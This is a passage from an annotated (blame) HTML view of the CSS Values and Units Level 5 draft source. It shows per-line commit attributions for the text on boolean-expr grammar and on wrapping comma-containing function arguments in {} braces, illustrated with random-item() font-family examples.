href="/drafts/annotate/b46fb0b91515/css-values-5/Overview.bs#l85" title="b46fb0b91515: [css-values-5] Define <boolean [test]> multiplier #10457">fantasai@31737</a> </td> <td class="lineno"> <a href="#l89" id="l89"> 89</a> </td> <td class="source"> and represent recursive expressions of boolean logic </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b46fb0b91515/css-values-5/Overview.bs#l86" title="b46fb0b91515: [css-values-5] Define <boolean [test]> multiplier #10457">fantasai@31737</a> </td> <td class="lineno"> <a href="#l90" id="l90"> 90</a> </td> <td class="source"> using keywords and parentheses, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/890414b2d712/css-values-5/Overview.bs#l87" title="890414b2d712: [css-values-5] Be consistent about brackets #10457">fantasai@31738</a> </td> <td class="lineno"> <a href="#l91" id="l91"> 91</a> </td> <td class="source"> applied to the grammar specified in brackets, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/cc430a5a2530/css-values-5/Overview.bs#l88" title="cc430a5a2530: [css-values-5] Replace <boolean[]> with <boolean-expr[]> #10457">fantasai@31785</a> </td> <td class="lineno"> <a href="#l92" id="l92"> 92</a> </td> <td class="source"> e.g. <<boolean-expr[ ( &lt;media-feature&gt; ) ]>> to express [=media queries=]. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b46fb0b91515/css-values-5/Overview.bs#l89" title="b46fb0b91515: [css-values-5] Define <boolean [test]> multiplier #10457">fantasai@31737</a> </td> <td class="lineno"> <a href="#l93" id="l93"> 93</a> </td> <td class="source"> </ol> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b46fb0b91515/css-values-5/Overview.bs#l90" title="b46fb0b91515: [css-values-5] Define <boolean [test]> multiplier #10457">fantasai@31737</a> </td> <td class="lineno"> <a href="#l94" id="l94"> 94</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b4182484de7a/css-values-5/Overview.bs#l68" title="b4182484de7a: [css-values-5] Added ability to upgrade commas to semicolons. #9539">jackalmage@31029</a> </td> <td class="lineno"> <a href="#l95" id="l95"> 95</a> </td> <td class="source"><h3 id=component-functions> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b4182484de7a/css-values-5/Overview.bs#l69" title="b4182484de7a: [css-values-5] Added ability to upgrade commas to semicolons. #9539">jackalmage@31029</a> </td> <td class="lineno"> <a href="#l96" id="l96"> 96</a> </td> <td class="source">Functional Notation Definitions</h3> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b4182484de7a/css-values-5/Overview.bs#l70" title="b4182484de7a: [css-values-5] Added ability to upgrade commas to semicolons. #9539">jackalmage@31029</a> </td> <td class="lineno"> <a href="#l97" id="l97"> 97</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b4182484de7a/css-values-5/Overview.bs#l71" title="b4182484de7a: [css-values-5] Added ability to upgrade commas to semicolons. #9539">jackalmage@31029</a> </td> <td class="lineno"> <a href="#l98" id="l98"> 98</a> </td> <td class="source"> See [[css-values-4#component-functions]]. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b4182484de7a/css-values-5/Overview.bs#l72" title="b4182484de7a: [css-values-5] Added ability to upgrade commas to semicolons. #9539">jackalmage@31029</a> </td> <td class="lineno"> <a href="#l99" id="l99"> 99</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b4182484de7a/css-values-5/Overview.bs#l73" title="b4182484de7a: [css-values-5] Added ability to upgrade commas to semicolons. #9539">jackalmage@31029</a> </td> <td class="lineno"> <a href="#l100" id="l100"> 100</a> </td> <td class="source"><h4 id=component-function-commas> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/d9905b005d31/css-values-5/Overview.bs#l79" title="d9905b005d31: [css-values-5] Per WG resolution, switch comma-containing productions to allowing {} wrappers, rather than semicolon upgrades. #9539">jackalmage@31694</a> </td> <td class="lineno"> <a href="#l101" id="l101"> 101</a> </td> <td class="source">Commas in Function Arguments</h4> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b4182484de7a/css-values-5/Overview.bs#l75" title="b4182484de7a: [css-values-5] Added ability to upgrade commas to semicolons. #9539">jackalmage@31029</a> </td> <td class="lineno"> <a href="#l102" id="l102"> 102</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b4182484de7a/css-values-5/Overview.bs#l76" title="b4182484de7a: [css-values-5] Added ability to upgrade commas to semicolons. #9539">jackalmage@31029</a> </td> <td class="lineno"> <a href="#l103" id="l103"> 103</a> </td> <td class="source"> [=Functional notation=] often uses commas </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b4182484de7a/css-values-5/Overview.bs#l77" title="b4182484de7a: [css-values-5] Added ability to upgrade commas to semicolons. #9539">jackalmage@31029</a> </td> <td class="lineno"> <a href="#l104" id="l104"> 104</a> </td> <td class="source"> to separate parts of its internal grammar. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b4182484de7a/css-values-5/Overview.bs#l78" title="b4182484de7a: [css-values-5] Added ability to upgrade commas to semicolons. #9539">jackalmage@31029</a> </td> <td class="lineno"> <a href="#l105" id="l105"> 105</a> </td> <td class="source"> However, some functions </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b4182484de7a/css-values-5/Overview.bs#l79" title="b4182484de7a: [css-values-5] Added ability to upgrade commas to semicolons. #9539">jackalmage@31029</a> </td> <td class="lineno"> <a href="#l106" id="l106"> 106</a> </td> <td class="source"> (such as ''mix()'') </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b4182484de7a/css-values-5/Overview.bs#l80" title="b4182484de7a: [css-values-5] Added ability to upgrade commas to semicolons. #9539">jackalmage@31029</a> </td> <td class="lineno"> <a href="#l107" id="l107"> 107</a> </td> <td class="source"> allow values that, themselves, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b4182484de7a/css-values-5/Overview.bs#l81" title="b4182484de7a: [css-values-5] Added ability to upgrade commas to semicolons. #9539">jackalmage@31029</a> </td> <td class="lineno"> <a href="#l108" id="l108"> 108</a> </td> <td class="source"> can contain commas. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/d9905b005d31/css-values-5/Overview.bs#l87" title="d9905b005d31: [css-values-5] Per WG resolution, switch comma-containing productions to allowing {} wrappers, rather than semicolon upgrades. #9539">jackalmage@31694</a> </td> <td class="lineno"> <a href="#l109" id="l109"> 109</a> </td> <td class="source"> These values </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/d9905b005d31/css-values-5/Overview.bs#l88" title="d9905b005d31: [css-values-5] Per WG resolution, switch comma-containing productions to allowing {} wrappers, rather than semicolon upgrades. #9539">jackalmage@31694</a> </td> <td class="lineno"> <a href="#l110" id="l110"> 110</a> </td> <td class="source"> (currently <<whole-value>>, <<declaration-value>>, and <<any-value>>) </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/d9905b005d31/css-values-5/Overview.bs#l89" title="d9905b005d31: [css-values-5] Per WG resolution, switch comma-containing productions to allowing {} wrappers, rather than semicolon upgrades. #9539">jackalmage@31694</a> </td> <td class="lineno"> <a href="#l111" id="l111"> 111</a> </td> <td class="source"> are <dfn export>comma-containing productions</dfn>. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b4182484de7a/css-values-5/Overview.bs#l82" title="b4182484de7a: [css-values-5] Added ability to upgrade commas to semicolons. #9539">jackalmage@31029</a> </td> <td class="lineno"> <a href="#l112" id="l112"> 112</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b4182484de7a/css-values-5/Overview.bs#l83" title="b4182484de7a: [css-values-5] Added ability to upgrade commas to semicolons. #9539">jackalmage@31029</a> </td> <td class="lineno"> <a href="#l113" id="l113"> 113</a> </td> <td class="source"> To accommodate these sorts of grammars unambiguously, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/d9905b005d31/css-values-5/Overview.bs#l92" title="d9905b005d31: [css-values-5] Per WG resolution, switch comma-containing productions to allowing {} wrappers, rather than semicolon upgrades. #9539">jackalmage@31694</a> </td> <td class="lineno"> <a href="#l114" id="l114"> 114</a> </td> <td class="source"> the [=comma-containing productions=] can be optionally wrapped in curly braces {}. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/d9905b005d31/css-values-5/Overview.bs#l93" title="d9905b005d31: [css-values-5] Per WG resolution, switch comma-containing productions to allowing {} wrappers, rather than semicolon upgrades. #9539">jackalmage@31694</a> </td> <td class="lineno"> <a href="#l115" id="l115"> 115</a> </td> <td class="source"> These braces are syntactic, not part of the actual value. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/d9905b005d31/css-values-5/Overview.bs#l94" title="d9905b005d31: [css-values-5] Per WG resolution, switch comma-containing productions to allowing {} wrappers, rather than semicolon upgrades. #9539">jackalmage@31694</a> </td> <td class="lineno"> <a href="#l116" id="l116"> 116</a> </td> <td class="source"> Specifically: </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/d9905b005d31/css-values-5/Overview.bs#l95" title="d9905b005d31: [css-values-5] Per WG resolution, switch comma-containing productions to allowing {} wrappers, rather than semicolon upgrades. #9539">jackalmage@31694</a> </td> <td class="lineno"> <a href="#l117" id="l117"> 117</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/d9905b005d31/css-values-5/Overview.bs#l96" title="d9905b005d31: [css-values-5] Per WG resolution, switch comma-containing productions to allowing {} wrappers, rather than semicolon upgrades. #9539">jackalmage@31694</a> </td> <td class="lineno"> <a href="#l118" id="l118"> 118</a> </td> <td class="source"> * A [=comma-containing production=] can either start with a "{" token, or not. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/0595ca343958/css-values-5/Overview.bs#l103" title="0595ca343958: [css-mixins-1][css-values-5] Move the definition of <syntax> to V&U 5, since we'll be using it in multiple places.">jackalmage@31696</a> </td> <td class="lineno"> <a href="#l119" id="l119"> 119</a> </td> <td class="source"> * If it does not start with a "{" token, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/d9905b005d31/css-values-5/Overview.bs#l98" title="d9905b005d31: [css-values-5] Per WG resolution, switch comma-containing productions to allowing {} wrappers, rather than semicolon upgrades. #9539">jackalmage@31694</a> </td> <td class="lineno"> <a href="#l120" id="l120"> 120</a> </td> <td class="source"> then it cannot contain commas or {} blocks, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/d9905b005d31/css-values-5/Overview.bs#l99" title="d9905b005d31: [css-values-5] Per WG resolution, switch comma-containing productions to allowing {} wrappers, rather than semicolon upgrades. #9539">jackalmage@31694</a> </td> <td class="lineno"> <a href="#l121" id="l121"> 121</a> </td> <td class="source"> in addition to whatever specific restrictions it defines for itself. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/d9905b005d31/css-values-5/Overview.bs#l100" title="d9905b005d31: [css-values-5] Per WG resolution, switch comma-containing productions to allowing {} wrappers, rather than semicolon upgrades. #9539">jackalmage@31694</a> </td> <td class="lineno"> <a href="#l122" id="l122"> 122</a> </td> <td class="source"> (The production stops parsing at that point, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/d9905b005d31/css-values-5/Overview.bs#l101" title="d9905b005d31: [css-values-5] Per WG resolution, switch comma-containing productions to allowing {} wrappers, rather than semicolon upgrades. #9539">jackalmage@31694</a> </td> <td class="lineno"> <a href="#l123" id="l123"> 123</a> </td> <td class="source"> so the comma or {} block is matched by the next grammar term instead; </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/d9905b005d31/css-values-5/Overview.bs#l102" title="d9905b005d31: [css-values-5] Per WG resolution, switch comma-containing productions to allowing {} wrappers, rather than semicolon upgrades. #9539">jackalmage@31694</a> </td> <td class="lineno"> <a href="#l124" id="l124"> 124</a> </td> <td class="source"> probably the function's own argument-separating comma.) </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/d9905b005d31/css-values-5/Overview.bs#l103" title="d9905b005d31: [css-values-5] Per WG resolution, switch comma-containing productions to allowing {} wrappers, rather than semicolon upgrades. #9539">jackalmage@31694</a> </td> <td class="lineno"> <a href="#l125" id="l125"> 125</a> </td> <td class="source"> * If it does start with a "{" token, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/d9905b005d31/css-values-5/Overview.bs#l104" title="d9905b005d31: [css-values-5] Per WG resolution, switch comma-containing productions to allowing {} wrappers, rather than semicolon upgrades. #9539">jackalmage@31694</a> </td> <td class="lineno"> <a href="#l126" id="l126"> 126</a> </td> <td class="source"> then the production matches just the {} block that the "{" token opens. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/d9905b005d31/css-values-5/Overview.bs#l105" title="d9905b005d31: [css-values-5] Per WG resolution, switch comma-containing productions to allowing {} wrappers, rather than semicolon upgrades. #9539">jackalmage@31694</a> </td> <td class="lineno"> <a href="#l127" id="l127"> 127</a> </td> <td class="source"> It represents the <em>contents</em> of that block, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/d9905b005d31/css-values-5/Overview.bs#l106" title="d9905b005d31: [css-values-5] Per WG resolution, switch comma-containing productions to allowing {} wrappers, rather than semicolon upgrades. #9539">jackalmage@31694</a> </td> <td class="lineno"> <a href="#l128" id="l128"> 128</a> </td> <td class="source"> and applies whatever specific restrictions it defines for itself </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/d9905b005d31/css-values-5/Overview.bs#l107" title="d9905b005d31: [css-values-5] Per WG resolution, switch comma-containing productions to allowing {} wrappers, rather than semicolon upgrades. #9539">jackalmage@31694</a> </td> <td class="lineno"> <a href="#l129" id="l129"> 129</a> </td> <td class="source"> to those contents, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/d9905b005d31/css-values-5/Overview.bs#l108" title="d9905b005d31: [css-values-5] Per WG resolution, switch comma-containing productions to allowing {} wrappers, rather than semicolon upgrades. #9539">jackalmage@31694</a> </td> <td class="lineno"> <a href="#l130" id="l130"> 130</a> </td> <td class="source"> ignoring the {} block wrapper. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b4182484de7a/css-values-5/Overview.bs#l102" title="b4182484de7a: [css-values-5] Added ability to upgrade commas to semicolons. #9539">jackalmage@31029</a> </td> <td class="lineno"> <a href="#l131" id="l131"> 131</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b4182484de7a/css-values-5/Overview.bs#l103" title="b4182484de7a: [css-values-5] Added ability to upgrade commas to semicolons. #9539">jackalmage@31029</a> </td> <td class="lineno"> <a href="#l132" id="l132"> 132</a> </td> <td class="source"> <div class="example"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/409a0e66a446/css-values-5/Overview.bs#l110" title="409a0e66a446: [css-values-5] Rewrite the comma/semicolon rules a little for clarity.">jackalmage@31369</a> </td> <td class="lineno"> <a href="#l133" id="l133"> 133</a> </td> <td class="source"> For example, the grammar of the ''random-item()'' function is: </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b4182484de7a/css-values-5/Overview.bs#l105" title="b4182484de7a: [css-values-5] Added ability to upgrade commas to semicolons. #9539">jackalmage@31029</a> </td> <td class="lineno"> <a href="#l134" id="l134"> 134</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b4182484de7a/css-values-5/Overview.bs#l106" title="b4182484de7a: [css-values-5] Added ability to upgrade commas to semicolons. #9539">jackalmage@31029</a> </td> <td class="lineno"> <a href="#l135" id="l135"> 135</a> </td> <td class="source"> <pre> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/409a0e66a446/css-values-5/Overview.bs#l113" title="409a0e66a446: [css-values-5] Rewrite the comma/semicolon rules a little for clarity.">jackalmage@31369</a> </td> <td class="lineno"> <a href="#l136" id="l136"> 136</a> </td> <td class="source"> random-item( <<random-caching-options>>, [<<declaration-value>>?]# ) </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b4182484de7a/css-values-5/Overview.bs#l109" title="b4182484de7a: [css-values-5] Added ability to upgrade commas to semicolons. #9539">jackalmage@31029</a> </td> <td class="lineno"> <a href="#l137" id="l137"> 137</a> </td> <td class="source"> </pre> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b4182484de7a/css-values-5/Overview.bs#l110" title="b4182484de7a: [css-values-5] Added ability to upgrade commas to semicolons. #9539">jackalmage@31029</a> </td> <td class="lineno"> <a href="#l138" id="l138"> 138</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/409a0e66a446/css-values-5/Overview.bs#l116" title="409a0e66a446: [css-values-5] Rewrite the comma/semicolon rules a little for clarity.">jackalmage@31369</a> </td> <td class="lineno"> <a href="#l139" id="l139"> 139</a> </td> <td class="source"> The ''#'' indicates comma-separated repetitions, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/409a0e66a446/css-values-5/Overview.bs#l117" title="409a0e66a446: [css-values-5] Rewrite the comma/semicolon rules a little for clarity.">jackalmage@31369</a> </td> <td class="lineno"> <a href="#l140" id="l140"> 140</a> </td> <td class="source"> so randomly choosing between three keywords </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/409a0e66a446/css-values-5/Overview.bs#l118" title="409a0e66a446: [css-values-5] Rewrite the comma/semicolon rules a little for clarity.">jackalmage@31369</a> </td> <td class="lineno"> <a href="#l141" id="l141"> 141</a> </td> <td class="source"> would be written as normal for functions, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/409a0e66a446/css-values-5/Overview.bs#l119" title="409a0e66a446: [css-values-5] Rewrite the comma/semicolon rules a little for clarity.">jackalmage@31369</a> </td> <td class="lineno"> <a href="#l142" id="l142"> 142</a> </td> <td class="source"> like: </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b4182484de7a/css-values-5/Overview.bs#l112" title="b4182484de7a: [css-values-5] Added ability to upgrade commas to semicolons. #9539">jackalmage@31029</a> </td> <td class="lineno"> <a href="#l143" id="l143"> 143</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b4182484de7a/css-values-5/Overview.bs#l113" title="b4182484de7a: [css-values-5] Added ability to upgrade commas to semicolons. #9539">jackalmage@31029</a> </td> <td class="lineno"> <a href="#l144" id="l144"> 144</a> </td> <td class="source"> <pre> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/d9905b005d31/css-values-5/Overview.bs#l123" title="d9905b005d31: [css-values-5] Per WG resolution, switch comma-containing productions to allowing {} wrappers, rather than semicolon upgrades. #9539">jackalmage@31694</a> </td> <td class="lineno"> <a href="#l145" id="l145"> 145</a> </td> <td class="source"> font-family: random-item(--x, serif, sans-serif, monospace); </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b4182484de7a/css-values-5/Overview.bs#l115" title="b4182484de7a: [css-values-5] Added ability to upgrade commas to semicolons. #9539">jackalmage@31029</a> </td> <td class="lineno"> <a href="#l146" id="l146"> 146</a> </td> <td class="source"> </pre> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b4182484de7a/css-values-5/Overview.bs#l116" title="b4182484de7a: [css-values-5] Added ability to upgrade commas to semicolons. #9539">jackalmage@31029</a> </td> <td class="lineno"> <a href="#l147" id="l147"> 147</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/409a0e66a446/css-values-5/Overview.bs#l145" title="409a0e66a446: [css-values-5] Rewrite the comma/semicolon rules a little for clarity.">jackalmage@31369</a> </td> <td class="lineno"> <a href="#l148" id="l148"> 148</a> </td> <td class="source"> However, sometimes the values you want to choose between </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/409a0e66a446/css-values-5/Overview.bs#l146" title="409a0e66a446: [css-values-5] Rewrite the comma/semicolon rules a little for clarity.">jackalmage@31369</a> </td> <td class="lineno"> <a href="#l149" id="l149"> 149</a> </td> <td class="source"> need to include commas. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/d9905b005d31/css-values-5/Overview.bs#l128" title="d9905b005d31: [css-values-5] Per WG resolution, switch comma-containing productions to allowing {} wrappers, rather than semicolon upgrades. #9539">jackalmage@31694</a> </td> <td class="lineno"> <a href="#l150" id="l150"> 150</a> </td> <td class="source"> When this is the case, </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/d9905b005d31/css-values-5/Overview.bs#l129" title="d9905b005d31: [css-values-5] Per WG resolution, switch comma-containing productions to allowing {} wrappers, rather than semicolon upgrades. #9539">jackalmage@31694</a> </td> <td class="lineno"> <a href="#l151" id="l151"> 151</a> </td> <td class="source"> wrapping the values in {} </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/0595ca343958/css-values-5/Overview.bs#l136" title="0595ca343958: [css-mixins-1][css-values-5] Move the definition of <syntax> to V&U 5, since we'll be using it in multiple places.">jackalmage@31696</a> </td> <td class="lineno"> <a href="#l152" id="l152"> 152</a> </td> <td class="source"> allows their commas to be distinguished </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/d9905b005d31/css-values-5/Overview.bs#l131" title="d9905b005d31: [css-values-5] Per WG resolution, switch comma-containing productions to allowing {} wrappers, rather than semicolon upgrades. #9539">jackalmage@31694</a> </td> <td class="lineno"> <a href="#l153" id="l153"> 153</a> </td> <td class="source"> from the function's argument-separating commas: </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b4182484de7a/css-values-5/Overview.bs#l124" title="b4182484de7a: [css-values-5] Added ability to upgrade commas to semicolons. #9539">jackalmage@31029</a> </td> <td class="lineno"> <a href="#l154" id="l154"> 154</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b4182484de7a/css-values-5/Overview.bs#l125" title="b4182484de7a: [css-values-5] Added ability to upgrade commas to semicolons. #9539">jackalmage@31029</a> </td> <td class="lineno"> <a href="#l155" id="l155"> 155</a> </td> <td class="source"> <pre> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/d9905b005d31/css-values-5/Overview.bs#l134" title="d9905b005d31: [css-values-5] Per WG resolution, switch comma-containing productions to allowing {} wrappers, rather than semicolon upgrades. #9539">jackalmage@31694</a> </td> <td class="lineno"> <a href="#l156" id="l156"> 156</a> </td> <td class="source"> font-family: random-item(--x, {Times, serif}, {Arial, sans-serif}, {Courier, monospace}); </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b4182484de7a/css-values-5/Overview.bs#l127" title="b4182484de7a: [css-values-5] Added ability to upgrade commas to semicolons. #9539">jackalmage@31029</a> </td> <td class="lineno"> <a href="#l157" id="l157"> 157</a> </td> <td class="source"> </pre> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b4182484de7a/css-values-5/Overview.bs#l128" title="b4182484de7a: [css-values-5] Added ability to upgrade commas to semicolons. #9539">jackalmage@31029</a> </td> <td class="lineno"> <a href="#l158" id="l158"> 158</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b4182484de7a/css-values-5/Overview.bs#l129" title="b4182484de7a: [css-values-5] Added ability to upgrade commas to semicolons. #9539">jackalmage@31029</a> </td> <td class="lineno"> <a href="#l159" id="l159"> 159</a> </td> <td class="source"> This randomly chooses one of three font-family lists: </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b4182484de7a/css-values-5/Overview.bs#l130" title="b4182484de7a: [css-values-5] Added ability to upgrade commas to semicolons. #9539">jackalmage@31029</a> </td> <td class="lineno"> <a href="#l160" id="l160"> 160</a> </td> <td class="source"> either ''Times, serif'', or ''Arial, sans-serif'', or ''Courier, monospace''. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/d9905b005d31/css-values-5/Overview.bs#l139" title="d9905b005d31: [css-values-5] Per WG resolution, switch comma-containing productions to allowing {} wrappers, rather than semicolon upgrades. #9539">jackalmage@31694</a> </td> <td class="lineno"> <a href="#l161" id="l161"> 161</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/d9905b005d31/css-values-5/Overview.bs#l140" title="d9905b005d31: [css-values-5] Per WG resolution, switch comma-containing productions to allowing {} wrappers, rather than semicolon upgrades. #9539">jackalmage@31694</a> </td> <td class="lineno"> <a href="#l162" id="l162"> 162</a> </td> <td class="source"> This is not all-or-nothing; </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/d9905b005d31/css-values-5/Overview.bs#l141" title="d9905b005d31: [css-values-5] Per WG resolution, switch comma-containing productions to allowing {} wrappers, rather than semicolon upgrades. #9539">jackalmage@31694</a> </td> <td class="lineno"> <a href="#l163" id="l163"> 163</a> </td> <td class="source"> you can use {} around <em>some</em> arguments that need it, </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/d9905b005d31/css-values-5/Overview.bs#l142" title="d9905b005d31: [css-values-5] Per WG resolution, switch comma-containing productions to allowing {} wrappers, rather than semicolon upgrades. #9539">jackalmage@31694</a> </td> <td class="lineno"> <a href="#l164" id="l164"> 164</a> </td> <td class="source"> while leaving others bare when they don't need it. </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/d9905b005d31/css-values-5/Overview.bs#l143" title="d9905b005d31: [css-values-5] Per WG resolution, switch comma-containing productions to allowing {} wrappers, rather than semicolon upgrades. #9539">jackalmage@31694</a> </td> <td class="lineno"> <a href="#l165" id="l165"> 165</a> </td> <td class="source"> You are also allowed to use {} around a value when it's not strictly required. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/d9905b005d31/css-values-5/Overview.bs#l144" title="d9905b005d31: [css-values-5] Per WG resolution, switch comma-containing productions to allowing {} wrappers, rather than semicolon upgrades. #9539">jackalmage@31694</a> </td> <td class="lineno"> <a href="#l166" id="l166"> 166</a> </td> <td class="source"> For example: </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b4182484de7a/css-values-5/Overview.bs#l133" title="b4182484de7a: [css-values-5] Added ability to upgrade commas to semicolons. #9539">jackalmage@31029</a> </td> <td class="lineno"> <a href="#l167" id="l167"> 167</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b4182484de7a/css-values-5/Overview.bs#l134" title="b4182484de7a: [css-values-5] Added ability to upgrade commas to semicolons. #9539">jackalmage@31029</a> </td> <td class="lineno"> <a href="#l168" id="l168"> 168</a> </td> <td class="source"> <pre> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/d9905b005d31/css-values-5/Overview.bs#l147" title="d9905b005d31: [css-values-5] Per WG resolution, switch comma-containing productions to allowing {} wrappers, rather than semicolon upgrades. #9539">jackalmage@31694</a> </td> <td class="lineno"> <a href="#l169" id="l169"> 169</a> </td> <td class="source"> font-family: random-item(--x, {Times, serif}, sans-serif, {monospace}); </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/b4182484de7a/css-values-5/Overview.bs#l136" title="b4182484de7a: [css-values-5] Added ability to upgrade commas to semicolons. #9539">jackalmage@31029</a> </td> <td class="lineno"> <a href="#l170" id="l170"> 170</a> </td> <td class="source"> </pre> </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/b4182484de7a/css-values-5/Overview.bs#l137" title="b4182484de7a: [css-values-5] Added ability to upgrade commas to semicolons. #9539">jackalmage@31029</a> </td> <td class="lineno"> <a href="#l171" id="l171"> 171</a> </td> <td class="source"> </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/d9905b005d31/css-values-5/Overview.bs#l150" title="d9905b005d31: [css-values-5] Per WG resolution, switch comma-containing productions to allowing {} wrappers, rather than semicolon upgrades. #9539">jackalmage@31694</a> </td> <td class="lineno"> <a href="#l172" id="l172"> 172</a> </td> <td class="source"> This represents choosing between three font-family lists: </td> </tr> <tr class="parity0"> <td class="linenr"> <a href="/drafts/annotate/d9905b005d31/css-values-5/Overview.bs#l151" title="d9905b005d31: [css-values-5] Per WG resolution, switch comma-containing productions to allowing {} wrappers, rather than semicolon upgrades. #9539">jackalmage@31694</a> </td> <td class="lineno"> <a href="#l173" id="l173"> 173</a> </td> <td class="source"> either ''Times, serif'', or ''sans-serif'', or ''monospace''. </td> </tr> <tr class="parity1"> <td class="linenr"> <a href="/drafts/annotate/d9905b005d31/css-values-5/Overview.bs#l152" title="d9905b005d31: [css-values-5] Per WG resolution, switch comma-containing productions to allowing {} wrappers, rather than semicolon upgrades. #9539">jackalmage@31694</a> </td> <td class="lineno"> <a href="#l174" id="l174"> 174</a> </td> <td class="source"> </td> </tr> <tr class="parity0"> <td class="linenr"> <a 